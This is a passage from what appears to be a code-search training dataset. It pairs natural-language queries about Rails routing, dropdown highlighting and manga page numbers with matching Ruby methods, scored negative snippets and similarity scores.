"0.61378616",
"0.6137158",
"0.61357206",
"0.6134533",
"0.6134198",
"0.61341137",
"0.61338776",
"0.61336416",
"0.61323",
"0.6129603",
"0.61241186",
"0.6123607",
"0.61203",
"0.61202306",
"0.6117594",
"0.61174834",
"0.61168015"
] | 0.7268784 | 0 |
prevents method from being invoked by a route | def set_current_user
@current_user ||= Moviegoer.find_by_id(session[:user_id])
redirect_to login_path and return unless @current_user #if @current_user is nil, redirect
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def no_routes\n end",
"def no_routes\n # no need to do anything here either.\n end",
"def `(*args); forbidden(__method__); end",
"def undefined_route\n routing_error!\n end",
"def cancel\n __log_activity\n __debug_route\n __debug_request\n super\n rescue => error\n auth_failure_redirect(message: error)\n end",
"def ignore_method_conflicts; end",
"def generate_not_allowed_method(pattern, allowed_methods: [], **attributes)\n supported_methods =\n if self.class.namespace_inheritable(:do_not_route_options)\n Grape::Http::Headers::SUPPORTED_METHODS\n else\n Grape::Http::Headers::SUPPORTED_METHODS_WITHOUT_OPTIONS\n end\n not_allowed_methods = supported_methods - allowed_methods\n @router.associate_routes(pattern, not_allowed_methods: not_allowed_methods, **attributes)\n end",
"def disable_method_checking!\n Thread.current[:'method checking disabled'] = true\n end",
"def unauthenticated\n end",
"def allowed_routes\n introspector.routes.keep_if(&method(:allow_route?))\n end",
"def skip_authorization; end",
"def refuse_method(request)\n maybe_log(\"Refusing method call (transaction=#{message.transaction})\")\n error = ::Ractor::ClosedError.new\n request.sender.send(Message.new(:error, data: error, transaction: message.transaction))\n end",
"def no_route\n self.response[:body] = \"route not found for: '#{self.env['REQUEST_URI']}'\"\n self.response[:status_code] = 404\n end",
"def method_undefined(id)\n\t\t\t\treset_routing_cache\n\t\t\tend",
"def deny\n throw(:return)\n end",
"def not_allowed! redirect = root_url\n raise Exceptional::Unauthorized.new(\"Sorry, I was could not perform the action you requested!\")\n end",
"def unavailable! redirect = root_path\n raise Exceptional::NotAllowed.new(\"Sorry, I was unable to perform the action you requested!\")\n end",
"def set_methods_prevention\n @methods_prevention = MethodsPrevention.find(params[:id])\n end",
"def method_undefined(id)\n\t\t\t\t\treset_routing_cache\n\t\t\t\tend",
"def handle_unverified_request\n unless action_name == \"fire_object_search\" || action_name == \"fire_populate_drop_down\" \n super\n end\n end",
"def disallow(*methods)\n methods.each do |meth|\n define_method(meth) do |*, **|\n raise \"#{meth} not expected to be called\" if not_deployed?\n end\n end\nend",
"def wont_respond_to(method, msg=nil)\n RespondAssay.refute!(self, method, :message=>msg, :backtrace=>caller)\n end",
"def skip_authorization\n @_authorization_performed = true\n end",
"def halt_method(x = ['GET'])\n if !x.include?(request.request_method)\n halt 405\n end\n end",
"def should_handle_activity?(activity, route)\n activity[:do_not_handle_me] != true\n end",
"def not_found\n raise ActionController::RoutingError, 'Not Found'\n end",
"def delete\n unavailable_method\n end",
"def not_found\n raise ActionController::RoutingError.new 'Not Found'\n end",
"def unauthorized\n end",
"def method_removed(id)\n\t\t\t\t\treset_routing_cache\n\t\t\t\tend",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def not_found\n raise ActionController::RoutingError.new('Not Found')\n end",
"def unprotect()\n res = super(context,self)\n return res\n end",
"def unauthenticated_request(params)\n do_request(params)\n end",
"def unauthenticated_request(params)\n do_request(params)\n end",
"def not_found\n raise ActionController::RoutingError.new 'Not found'\n end",
"def handle_bad_method(method)\n make_response(405, {message: \"Method not supported: #{method}\"})\nend",
"def handle_bad_method(method)\n make_response(405, {message: \"Method not supported: #{method}\"})\nend",
"def route\n #TODO\n end",
"def delete(*)\n unavailable_method\n end",
"def route() request.route end",
"def stop_path\n # force_move_route(EMPTY_MOVE_ROUTE)\n clear_path\n Pathfinding.remove_request(self)\n end",
"def method_removed(id)\n\t\t\t\treset_routing_cache\n\t\t\tend",
"def allow_path_state\n super\n end",
"def disallow(&block)\n collect_bucket(&block)\n scope = @_env.nil?? :global : @_env\n if @_bucket.any?\n @_disallowed_routes[scope].push(@_bucket).flatten!\n end\n @_bucket = nil\n end",
"def handle_route_not_found\n raise ActionController::RoutingError.new(params[:path])\n end",
"def raise_not_found\n\t\traise ActionController::RoutingError.new(\"No route matches #{params[:unmatched_route]}\")\n\tend",
"def raise_not_found!\n\n raise ActionController::RoutingError.new(\"No route matches #{params[:unmatched_route]}\")\n\n end",
"def access_denied\n end",
"def never\n Savon.config.hooks.reject(:spec_action)\n\n Savon.config.hooks.define(:spec_never, :soap_request) do |_, request|\n actual = request.soap.input[1]\n raise ExpectationError, \"expected #{action.inspect} never to be called, but it was!\" if actual == action\n\n respond_with\n end\n\n self\n end",
"def destroy\n render json: {}, status: :method_not_allowed\n end",
"def method\r\n@method ||= check_method(env[\"rack.methodoverride.original_method\"] || env['REQUEST_METHOD'])\r\nend",
"def route_eval\n super\n rescue ActiveRecord::RecordNotFound\n not_found\n end",
"def handle_unverified_request\n sign_out\n super\n #When you invoke super with no arguments Ruby sends a message to the parent of the current object, asking it to invoke a method of the same name as the method invoking super. It automatically forwards the arguments that were passed to the method from which it's called.\n end",
"def on_ignored_request\n end",
"def try_route\n\t\t\t\thttp_method = request.http_method\n\t\t\t\thttp_method = :GET if http_method == :HEAD\n\t\t\t\treturn unless available_endpoint\n\n\t\t\t\troute = available_endpoint[http_method]\n\t\t\t\treturn unless route || available_endpoint.allow\n\n\t\t\t\thalt(405, nil, 'Allow' => available_endpoint.allow) unless route\n\t\t\t\tstatus 200\n\t\t\t\texecute_route route\n\t\t\t\ttrue\n\t\t\tend",
"def route_not_found\n report_to_rollbar(\"#{request.method}:#{request.original_url} - Unknown/Unauthenticated route accessed\") if Rails.env.production?\n flash[:error] = t('errors.404_main') if current_user.present?\n respond_to do |format|\n format.html { redirect_to '/' }\n format.js { render :js => \"App.Helpers.navigateTo('/', true);\" }\n end\n end",
"def denied\n end",
"def routing_error\n render_not_found\n end",
"def not_authenticated\n # Make sure that we reference the route from the main app.\n redirect_to main_app.log_in_path\n end",
"def undefine_throttle(method_name)\n rocket_job_throttles.delete_if { |throttle| throttle.method_name == method_name }\n end",
"def routing_mismatch\n raise ::ActionController::RoutingError,\"URL not supported\"\n end",
"def ignore_request(_team, _user)\n # stub\n end",
"def abort_routing\n @aborted = true\n end",
"def exclude\n all - methods\n end",
"def access_denied\n\n end",
"def deny\n @request.remove_from_whitelist\n File.delete(\"#{$config[:'spool-dir']}/#{@request[:sender]}\") rescue true\n end",
"def destroy\n render json: {}, status: :method_not_allowed\n end",
"def validate_no_routes(path:, to: :anywhere, verbs: :any)\n the_verbs = Array(verbs).map {|verb| uppercase_http_verb(verb)}.compact.presence\n the_verbs ||= http_verbs.map {|verb| uppercase_http_verb(verb)}\n uppercase_verbs = the_verbs.size > 1 ? \"(#{the_verbs.join('|')})\" : the_verbs.join\n it \"#{uppercase_verbs} #{path} DO NOT route to #{to}\" do\n check_no_routes_for(path, verbs: the_verbs, to:to)\n end\n end",
"def no(*args)\n _define_check_method(args, caller, true)\n end",
"def add_head_not_allowed_methods_and_options_methods\n versioned_route_configs = collect_route_config_per_pattern\n # The paths we collected are prepared (cf. Path#prepare), so they\n # contain already versioning information when using path versioning.\n # Disable versioning so adding a route won't prepend versioning\n # informations again.\n without_root_prefix do\n without_versioning do\n versioned_route_configs.each do |config|\n next if config[:options][:matching_wildchar]\n\n allowed_methods = config[:methods].dup\n\n allowed_methods |= [Grape::Http::Headers::HEAD] if !self.class.namespace_inheritable(:do_not_route_head) && allowed_methods.include?(Grape::Http::Headers::GET)\n\n allow_header = (self.class.namespace_inheritable(:do_not_route_options) ? allowed_methods : [Grape::Http::Headers::OPTIONS] | allowed_methods)\n\n config[:endpoint].options[:options_route_enabled] = true unless self.class.namespace_inheritable(:do_not_route_options) || allowed_methods.include?(Grape::Http::Headers::OPTIONS)\n\n attributes = config.merge(allowed_methods: allowed_methods, allow_header: allow_header)\n generate_not_allowed_method(config[:pattern], **attributes)\n end\n end\n end\n end",
"def not_found\n raise ActionController::RoutingError.new('Page Not Found. Please contact the system administrator.')\n end",
"def authorize!(user)\n redirect '/not_authorized' unless authorized?(user)\nend",
"def project_unauthorized_proc\n # no-op\n end",
"def failsafe_action\n super\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def delete(*)\n unavailable_method\n end",
"def forbidden\n respond_with 403\n end",
"def ignore_method_conflicts=(_arg0); end",
"def not_found(path)\n raise ActionController::RoutingError.new(\"Route not found for #{path}\")\n end",
"def rescue_action_in_public(exception)\n return super unless exception.is_a? ::ActionController::RoutingError\n render_404\n end",
"def not_authenticated\n redirect_to root_path\n end",
"def skip_authorization_check(*args)\n before_action(*args) do |controller|\n controller.instance_variable_set(:@_authorized, true)\n end\n end",
"def prevent\n js false\n render :inline => 'Main#prevent', :layout => 'application'\n end",
"def forbidden\n respond_with 403\n end",
"def clean\n public_send strategy\n end",
"def disable\n end",
"def skip\n redirect_to claim_url(current_policy_routing_name, \"name\")\n end",
"def route? method\n if @tracker.routes[:allow_all_actions] or @tracker.options[:assume_all_routes]\n true\n else\n routes = @tracker.routes[@current_class]\n routes and (routes.include? :allow_all_actions or routes.include? method)\n end\n end",
"def unauthorize!\n throw(:warden)\n end",
"def deny_action(path)\n @denied << recognize_path(path)\n end",
"def disallowNavigation\n self.navigationAllowed = false\n end"
] | [
"0.68512785",
"0.64346206",
"0.63336766",
"0.61743253",
"0.6098168",
"0.6071763",
"0.6067459",
"0.6008456",
"0.5993343",
"0.59905994",
"0.5937201",
"0.59280205",
"0.58627295",
"0.5858591",
"0.58506787",
"0.58476275",
"0.5846243",
"0.58453274",
"0.58424515",
"0.5842441",
"0.5841246",
"0.5797477",
"0.5797136",
"0.5788687",
"0.57814014",
"0.57558614",
"0.5752505",
"0.57426417",
"0.57299227",
"0.57213134",
"0.57190126",
"0.57028157",
"0.57028157",
"0.57028157",
"0.57028157",
"0.57028157",
"0.57028157",
"0.5695932",
"0.5676589",
"0.5676589",
"0.56615794",
"0.5660377",
"0.5660377",
"0.56505394",
"0.564097",
"0.56391597",
"0.56374687",
"0.56329566",
"0.5627366",
"0.56270856",
"0.5625673",
"0.5609388",
"0.55954057",
"0.5592208",
"0.5568458",
"0.5565949",
"0.55654126",
"0.556265",
"0.5558953",
"0.5546111",
"0.55457026",
"0.5533556",
"0.55316746",
"0.55306387",
"0.55306244",
"0.5529792",
"0.5526899",
"0.55222833",
"0.5521031",
"0.55195963",
"0.5518316",
"0.55110604",
"0.55108696",
"0.5500897",
"0.55000806",
"0.5492874",
"0.5491923",
"0.5480109",
"0.54676485",
"0.54645354",
"0.54579973",
"0.54579973",
"0.54579973",
"0.54579973",
"0.54579973",
"0.54579973",
"0.5455957",
"0.54555875",
"0.54550725",
"0.54516906",
"0.5446993",
"0.5445175",
"0.5444108",
"0.54436004",
"0.5440328",
"0.5437161",
"0.5432348",
"0.54312515",
"0.54310757",
"0.5423538",
"0.5420654"
] | 0.0 | -1 |
Tests to see if specified dropdown group should be highlighted or not | def highlight?(dropdown_group)
if dropdown_group == 'home'
["/", "/dashboard/network"].any? do | route |
current_page?(route)
end
elsif dropdown_group == 'manage'
["/dashboard/visualconfig", "/dashboard/manage", "/dashboard/instances"].any? do | route |
current_page?(route)
end
elsif dropdown_group == 'admin'
["/admin/users", "/admin/settings"].any? do | route |
current_page?(route)
end
elsif dropdown_group == 'configures'
["/configures", "/configures/new"].any? do | route |
current_page?(route)
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def group_choosen?\n !current_group.nil?\n end",
"def group_choosen?\n !current_group.nil?\n end",
"def valid_options\n selected_options.grep_v(/\\Agroup_/)\n end",
"def selected?; false; end",
"def selected?; false; end",
"def has_selected?\n selected?\n end",
"def selected?\n @selected ||= selected_by_subnav? || selected_by_condition?\n end",
"def is_default_group?\n self.name==\"Default\"\n end",
"def group_assignment?\n invalid_override || group_max > 1\n end",
"def selected?; end",
"def selected?; end",
"def dropdown_registered?(name)\n return dropdowns[name.to_s] != nil\n end",
"def check_group(name)\n self.checkbox(:title=>\"Select #{name}\").set\n end",
"def is_option_from_radio_button_group_selected(access_type, by, option, access_name, should_be_selected = true)\n radio_button_group = $driver.find_elements(:\"#{access_type}\" => \"#{access_name}\")\n\n getter = ->(rb, by) { by == 'value' ? rb.attribute('value') : rb.text }\n\n ele = radio_button_group.find { |rb| getter.call(rb, by) == option }\n\n expect(ele.selected?).to be should_be_selected\nend",
"def valid_dropdown?(dropdown)\n return false unless dropdown.position\n return false unless %W(left right).include? dropdown.position.to_s\n return false unless dropdown.caption \n return false unless valid_subitems?(dropdown.subitems)\n true\n end",
"def check_group(group_name)\n frm.table(:id=>\"groupTable\").row(:text=>/#{Regexp.escape(group_name)}/).checkbox(:name=>\"selectedGroups\").set\n end",
"def groupIconSelectable \n \"groupIconSelectable\" \n end",
"def opt_groups\n return unless departments.empty?\n end",
"def selected\r\n assert_exists\r\n #@option.selected\r\n option_selected\r\n end",
"def has_group?\n @group == ''\n end",
"def in_group?(group)\n @groups.include? group\n end",
"def selectable?\n (%w(noselect) & self.flags).empty?\n end",
"def lbIsSelected _obj, _args\n \"_obj lbIsSelected _args;\" \n end",
"def selected; end",
"def has_group?\n\t\t@group == ''\n\tend",
"def group?\n @opts[:group] != DEFAULT_GROUP\n end",
"def select_marital_option\n # Consider something like a case statement and check the selenium selected? method\n ran_num = rand(2)\n status = @chrome_driver.find_elements(:name, \"radio_4[]\")\n status.each do |stat|\n if stat['value'] == MARITAL_STATUS[ran_num]\n stat.click\n return stat.selected?\n end\n end\n end",
"def group?(group)\n\t\t\tend",
"def allows_multiple_groups?\n max_groups && max_groups > 1\n end",
"def selectable?(tag)\n selectable.include? tag.to_sym\n end",
"def selected?\n return @selected\n end",
"def select_study_group(study_group_name)\n study_group = study_groups.detect { |item| item.text.downcase.include? study_group_name.downcase }\n study_group.click\n end",
"def select_groups\n frm.radio(:id=>\"groups\").set\n end",
"def highlighted?(element)\n element.attribute('class').include? 'required'\nend",
"def ey_ensure_dropdown( dropdown, option )\n while ! $driver.find_element(get_yaml_data( option, 0 ), get_yaml_data( option, 1 ) ).attribute('selected')\n $debug and print \"status: #{$driver.find_element(get_yaml_data( option, 0 ), get_yaml_data( option, 1 ) ).attribute('selected')}\\n\"\n $debug and print \"dropdown: #{dropdown}\\n\"\n no_move_click( dropdown )\n sleep 1\n $debug and sleep 5\n $debug and print \"option: #{option}\\n\"\n no_move_click( option )\n sleep 1\n no_move_click( option )\n end\n end",
"def select_color\n selected ? :red : color\n end",
"def options_group?(param_name)\n option_tags.any? { |t| t.name == param_name }\n end",
"def selected?\n @selected\n end",
"def select_hobby_option\n # Consider something like a case statement and check the selenium selected? method\n ran_num = rand(2)\n status = @chrome_driver.find_elements(:name, \"checkbox_5[]\")\n status.each do |stat|\n if stat['value'] == HOBBY_STATUS[ran_num]\n stat.click\n return stat.selected?\n end\n end\n end",
"def defined?(group_name)\n true\n end",
"def group_drop_down\n @groups = @list.map { |hash| hash[:group] }.uniq.compact\nend",
"def selected_options; end",
"def selected_options; end",
"def facility_selector?\n @selector.present?\n end",
"def defined?(group_name)\n @groups.key?(group_name)\n end",
"def highlighted? options={}\r\n eval_dynamic_attributes\r\n result = false\r\n \r\n @highlights.each do |h| # for every highlight\r\n highlighted = true\r\n h.each_key do |key| # for each key\r\n highlighted &= h[key]==options[key] \r\n end \r\n result |= highlighted\r\n end\r\n return result\r\n end",
"def evaluate_group(grp)\n true\n end",
"def group_valid?(name, resource)\n self.class.groups.rindex{|g| g.name == name} != nil\n end",
"def selected?(element_name)\n el(element_name).selected?\n end",
"def selected?\n native.has_attribute?('selected')\n end",
"def set?\n element_call { @element.selected? }\n end",
"def display_group\n self.groups.each do |group|\n if group != Group.find_by_name(\"Default\")\n if group != Group.find_by_name(\"Global\")\n return group.name\n end\n end\n end\n return \"N/A\"\n end",
"def selected_by_condition?\n is_active_nav_link?(url, highlights_on)\n end",
"def fancytree_group_select_hash(groups, items, labelling)\n fancytree_grouped_hash(groups, items, nil, true, true, &labelling)\n end",
"def targets_group? group\n index = Activity::MUSCLE_GROUP_VALUES.index(group)\n return false if index.nil?\n return false if muscle_groups[index] == \"0\"\n return true\n end",
"def validate\n # first check whether combo fields have been selected\n is_valid = true\n end",
"def valid_selection?\n @selections.include?(@input)\n end",
"def is_value_selected_from_select_list_inside_frame?(browser_handle, frame_prop, frame_prop_val, select_list_prop, select_list_prop_val, selected_value)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).select_list(select_list_prop.intern, /#{select_list_prop_val}/).selected?(selected_value)\nend",
"def selected?(locator)\n find_element(locator).selected?\n end",
"def group?\n proprieties[:group]\n end",
"def selected?\n element(true).isSelected()\n end",
"def valid_group? host_code, group_code\n return unless group_code\n host_data = find_host host_code\n return unless host_data\n\n host_data[:groups].include? group_code\nend",
"def selected_by_subnav?\n sub_navigation && sub_navigation.selected?\n end",
"def selectable?\n [email protected]? && [email protected]?(:Noselect)\n end",
"def hcSelectGroup _obj, _args\n \"_obj hcSelectGroup _args;\" \n end",
"def highlighted? options={}\r\n result = false\r\n \r\n @highlights.each do |h| # for every highlight\r\n highlighted = true\r\n h.each_key do |key| # for each key\r\n highlighted &= h[key]==options[key] \r\n end \r\n result |= highlighted\r\n end\r\n return result\r\n end",
"def enabled?\n !select.disabled?\n end",
"def group? group\n group_name = group.respond_to?(:name) ? group.name : group\n self.groups.map(&:name).include?(group_name.to_s)\n end",
"def validate\n#\tfirst check whether combo fields have been selected\n is_valid = true\n end",
"def validate\n#\tfirst check whether combo fields have been selected\n is_valid = true\n end",
"def selected?\n is_controller = @controller_name == @current_controller.controller_name\n \n case @selection_scope\n when :action\n is_controller && @action_name == @current_controller.action_name\n when :controller\n is_controller || @items.any?(&:selected?)\n end\n end",
"def click_groups\n @dashboard.select_link('Groups')\n end",
"def group?\n type == :group_id\n end",
"def group?\n type == :group_id\n end",
"def descendant_item_selected?(item)\n item.has_children? && item.descendants.any?(&method(:selected_item?))\n end",
"def group_exists?(group)\n Sys::Admin.get_group(group)\n true\n rescue\n false\n end",
"def handy_has_select?(css_selector, select_options)\n selector = css_selector[1..-1]\n case css_selector[0,1]\n when '.'\n attribute = \"@class='#{selector}'\"\n when '#'\n attribute = \"@id='#{selector}'\"\n else\n raise 'only css_selector class or id is currently supported'\n end\n\n page.should have_xpath(\"//select[#{attribute}]\")\n selects = page.find(:xpath, \"//select[#{attribute}]\")\n\n select_options.each do |h|\n selects.find(:xpath, \"./option[#{h[:position]}]\", :text => h[:text])\n if h[:value_match_type] == 'regex'\n selects.find(:xpath, \"./option[#{h[:position]}]\").value.should match Regexp.new(h[:value])\n else\n selects.find(:xpath, \"./option[#{h[:position]}]\", :text => h[:value])\n end\n end\nend",
"def verify_selection(user_input)\n VALID_SELECTIONS.include?(user_input)\nend",
"def selected\n find(&:selected?)\n end",
"def requested_groups\n @request.empty? ? GROUPS : select_groups\n end",
"def is_selected_html?(object, foreign_key, foreign_key_choice)\n if object.send(foreign_key).id == foreign_key_choice.id\n \" selected \"\n else\n \"\"\n end\n end",
"def match_groups?(instance)\n klass = instance.class.to_s\n\n return unless self.class.defined_groups[klass]\n\n group_names = group_flags.where(\"flaggable_type = ?\", klass).collect(&:group_name)\n\n self.class.defined_groups[klass].select { |key, value|\n group_names.map.include? key.to_s\n }.collect { |key, value|\n value.call(instance)\n }.any?\n end",
"def is_highlight?\n contexts.flag6 == 1\n end",
"def is_selected(dev)\n return true if $do_all\n\n sel = $selected_devices\n return false if not sel or sel.length == 0\n\n if (sel.include? dev[:name] or sel.include? dev[:serial])\n return true\n end\n\n # regex match :)\n str = which_matches(sel, dev)\n return true if not str.nil?\n\n return false\nend",
"def need_selection?\n fail NotImplementedError\n end",
"def valid_group?\n unless self.target_group.nil?\n if self.target_group.is_a? String\n !!(self.target_group == self.group)\n else\n !!(self.target_group == self.group(:id))\n end\n else\n # The group is OK if it wasn't specified\n return true\n end\n rescue ArgumentError => ex\n # The group is NOT OK if the group doesn't exist\n WarningShot::PermissionResolver.logger.error(\"Group [#{self.target_group}] does not exist: #{ex.message}\")\n return false\n end",
"def may_launch? (definition)\n is_admin? or (self.groups & definition.groups).size > 0\n end",
"def group?\n true\n end",
"def reporthelp_grouping_selector( form )\n return apphelp_select(\n form,\n :task_grouping,\n [\n [ 'No special grouping', 'default' ],\n [ 'Group billable tasks together', 'billable' ],\n [ 'Group active tasks together', 'active' ],\n [ 'Group both kinds of tasks together', 'both' ]\n ],\n false\n )\n end",
"def highlight? key\n return false if key.nil? or key == self.class.unique_key\n\n if self.class.highlight.include? key.to_sym\n return true\n elsif !self.class.highlight.empty?\n return false\n end\n\n !highlight_fields[key].blank?\n end",
"def has_imported_group?(source_group_name, wait: QA::Support::WaitForRequests::DEFAULT_MAX_WAIT_TIME)\n within_element(:import_item, source_group: source_group_name) do\n has_element?(:import_status_indicator, text: \"Complete\", wait: wait)\n end\n end",
"def disabled?\n select.disabled?\n end",
"def option_selected? key, selected\n if Array === selected\n selected.any? do |value|\n key.to_s == value.to_s\n end\n else\n key.to_s == selected.to_s\n end\n end",
"def restricted?\n self.groups.any?\n end",
"def ListView_GetGroupState(hwnd, dwGroupId, dwMask)\n send_listview_message(hwnd, :GETGROUPSTATE, wparam: dwGroupId, lparam: dwMask)\n end",
"def option_is_selected?(value, caption, selected_values)\n Array(selected_values).any? do |selected|\n value ?\n value.to_s == selected.to_s :\n caption.to_s == selected.to_s\n end\n end",
"def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = T.unsafe(nil)); end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end",
"def group_entry?\n flags.include? :g\n end",
"def user_group_select_field(form, name)\n selected = @form.user_group_id.presence\n user_groups = Decidim::UserGroups::ManageableUserGroups.for(current_user).verified\n form.select(\n name,\n user_groups.map { |g| [g.name, g.id] },\n selected: selected,\n include_blank: current_user.name\n )\n end"
] | [
"0.664406",
"0.664406",
"0.6220465",
"0.60187227",
"0.60187227",
"0.5883304",
"0.5833344",
"0.58275557",
"0.5761715",
"0.5741193",
"0.5741193",
"0.5739469",
"0.57391363",
"0.57355624",
"0.5711719",
"0.5709885",
"0.56433284",
"0.5614353",
"0.55992234",
"0.5528034",
"0.5516902",
"0.54965436",
"0.54752284",
"0.5464372",
"0.5457012",
"0.5433809",
"0.54184663",
"0.541791",
"0.54177165",
"0.54118454",
"0.5401409",
"0.539529",
"0.5368637",
"0.5366069",
"0.5361184",
"0.5358691",
"0.535106",
"0.5333745",
"0.5326204",
"0.5312956",
"0.5310847",
"0.5303608",
"0.5303608",
"0.53013265",
"0.5298682",
"0.5292211",
"0.52802384",
"0.5269062",
"0.52447456",
"0.5241672",
"0.523542",
"0.52305377",
"0.5208237",
"0.52072704",
"0.5203342",
"0.520217",
"0.51988494",
"0.519766",
"0.5196874",
"0.5179759",
"0.51752496",
"0.5174529",
"0.51708436",
"0.51698923",
"0.5166614",
"0.5155423",
"0.5141777",
"0.5134668",
"0.5128918",
"0.5128918",
"0.5125041",
"0.5123183",
"0.5122562",
"0.5122562",
"0.51206356",
"0.51179415",
"0.51034725",
"0.50942653",
"0.5090051",
"0.5088912",
"0.50824016",
"0.50779736",
"0.5055636",
"0.50406677",
"0.50361305",
"0.503474",
"0.50338006",
"0.50163996",
"0.5011467",
"0.49988663",
"0.49867964",
"0.4985063",
"0.4980245",
"0.49733633",
"0.4973145",
"0.49709594",
"0.49664304",
"0.49658993",
"0.4964386",
"0.4953227"
] | 0.7081927 | 0 |
Returns the current page number of the manga. This will not make any api calls and only looks at (url, referer_url). | def manga_page
# http://i2.pixiv.net/img04/img/syounen_no_uta/46170939_p0.jpg
# http://i1.pixiv.net/c/600x600/img-master/img/2014/09/24/23/25/08/46168376_p0_master1200.jpg
# http://i1.pixiv.net/img-original/img/2014/09/25/23/09/29/46183440_p0.jpg
if url =~ %r{/\d+_p(\d+)(?:_\w+)?\.#{EXT}}i
return $1.to_i
end
# http://www.pixiv.net/member_illust.php?mode=manga_big&illust_id=46170939&page=0
[url, referer_url].each do |x|
if x =~ /page=(\d+)/i
return $1.to_i
end
end
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def PageNo()\n\t\t#Get current page number\n\t\treturn @page;\n\tend",
"def current_page_number\n (previous_page_number.to_i + 1).to_s\n end",
"def current_page\n return unless response.headers['PaginationCurrentPage']\n response.headers['PaginationCurrentPage'].to_i\n end",
"def page\n Integer(parsed_body['Meta']['Parameters']['page'] || 1)\n end",
"def current_page\n return 0 if current_limit.blank? || current_limit.zero?\n (current_offset / current_limit) + 1\n end",
"def current_page\n params[:page] && params[:page].match(/\\d+/) ? params[:page].to_i : 1\n end",
"def current_page\n @options[:page].blank? ? 1 : @options[:page].to_i\n end",
"def current_page\n response[\"current_page\"]\n end",
"def current_page_number\n @pageset.size\n end",
"def next_page_number\n Hash(next_page_params).fetch('page', {}).fetch('number', nil)\n end",
"def page_number\n (params[:page] || 1).to_i\n end",
"def current_page\n self.page ||= 0\n self.page + 1\n end",
"def current_page\n (params[:page].blank? ? 1 : params[:page]).to_i\n end",
"def page_num_getter\n\t\t##Nokogiri\n\t\t# doc = Nokogiri::HTML(open(@page_name))\n\t\t# puts doc.css('result custom-right-inner')\n\t\t##Mechanize\n\t\t##new agent\n\t\t@agent = Mechanize.new\n\t\tstr = @agent.get(@page_name).search('span.custom-right-inner')[0].text\n\t\t@total_page = str.scan(/\\d+/)[0].to_i\n\tend",
"def current_page\n unless @page\n @page = params[:page].to_i\n @page = 1 unless @page\n @page = 1 if @page < 1\n end\n return @page\n end",
"def page_number\n query_params&.dig(:page)\n end",
"def page_number\n query_params&.dig(:page)\n end",
"def page\n @request.params[:page] ? @request.params[:page].to_i : 1\n end",
"def page\n _page = params[:page].to_i\n return (_page == 0) ? 1 : _page\n end",
"def get_last_page\n query = URI.parse(request.referrer).query\n @last_page = query.nil? ? 0 : CGI.parse(query)[\"page\"].first.to_i\n end",
"def get_page_number\n # this is the normal case; masterfile and unit share same metadata record\n # so page number will match the numbering sequence of the filename\n page = filename.split(\"_\")[1].split(\".\")[0].to_i\n # if metadata_id == unit.metadata_id\n if is_clone?\n mf_id = original_mf_id\n page = MasterFile.find(mf_id).filename.split(\"_\")[1].split(\".\")[0].to_i\n end\n # else\n # # this master file has been assigned to a separate metadata record. the\n # # page number in the filename does not reflect the actual page num. Count\n # # masterfiles owned by metadata record to determine\n # page = 1\n # metadata.master_files.each do |mf|\n # if mf.id == id\n # break\n # else\n # page += 1\n # end\n # end\n # end\n return page\n end",
"def next_page_number\n last_page? ? nil : current_page_number + 1\n end",
"def __page\n @_page || 1\n end",
"def last_page_number\n Hash(last_page_params).fetch('page', {}).fetch('number', nil)\n end",
"def current_page\n return 1 if start < 1\n per_page_normalized = per_page < 1 ? 1 : per_page\n @current_page ||= (start / per_page_normalized).ceil + 1\n end",
"def page_url\n page_value = @current_page == 1 ? 0 : @current_page\n \"#{URL}?page=#{page_value}\"\n end",
"def get_page_count(response)\n page_links = response.headers['link'].scan(/<(\\S+)>/).flatten\n /\\?page\\=(\\d+)\\&/.match(page_links.last)[1].to_i\n end",
"def page\r\n @page || 1\r\n end",
"def get_page_number_for(mushaf:)\n mushaf_pages_mapping[mushaf.to_s]\n end",
"def show_current_page\n if params[:eds_action].present?\n if params[:eds_action].scan(/GoToPage/).length > 0\n pagenum = params[:eds_action].to_s\n newpagenum = pagenum.gsub(\"GoToPage(\", \"\")\n newpagenum = newpagenum.gsub(\")\", \"\")\n return newpagenum.to_i\n elsif params[:eds_action].scan(/SetResultsPerPage/).length > 0\n if params[:pagenumber].present?\n return params[:pagenumber].to_i\n else\n return 1\n end\n else\n return 1\n end\n end\n if params[:pagenumber].present?\n return params[:pagenumber].to_i\n end\n return 1\n end",
"def page_number(page)\r\n unless page == current_page\r\n tag(:li, link(tag(:b, page), page, :rel => rel_value(page), :alt => \"Page #{page.to_s}\", :title => \"Page #{page.to_s}\"))\r\n else\r\n tag(:li, link(tag(:b, page), page, :alt => \"Page #{page.to_s}\", :title => \"Page #{page.to_s}\", :class => \"current\"))\r\n end\r\n end",
"def page(req)\n req.params.fetch('page', default='1').to_i\n end",
"def last_page_number\n number_of_pages\n end",
"def current_page\n @current_page ||= (params[:page] || 1).to_s.to_i.abs\n end",
"def num_pages(url)\n url = ensure_max_per_page(url)\n data = api_request_raw(url)\n\n if data.nil? or data.meta.nil? or data.meta['link'].nil?\n return 1\n end\n\n links = parse_links(data.meta['link'])\n\n if links.nil? or links['last'].nil?\n return 1\n end\n\n params = CGI::parse(URI::parse(links['last']).query)\n params['page'][0].to_i\n end",
"def page_number\n\t\t\t\treturn 0 if @total_results == 0\n\t\t\t\t@offset + 1\n\t\t\tend",
"def next_page_number\n self.pages.count + 1\n end",
"def page\n if !@page || @page < 1\n 1\n elsif @page > total_pages\n total_pages\n else\n @page\n end\n end",
"def prev_page\n num = current_page - 1\n num if num.positive?\n end",
"def first_page_number\n 1\n end",
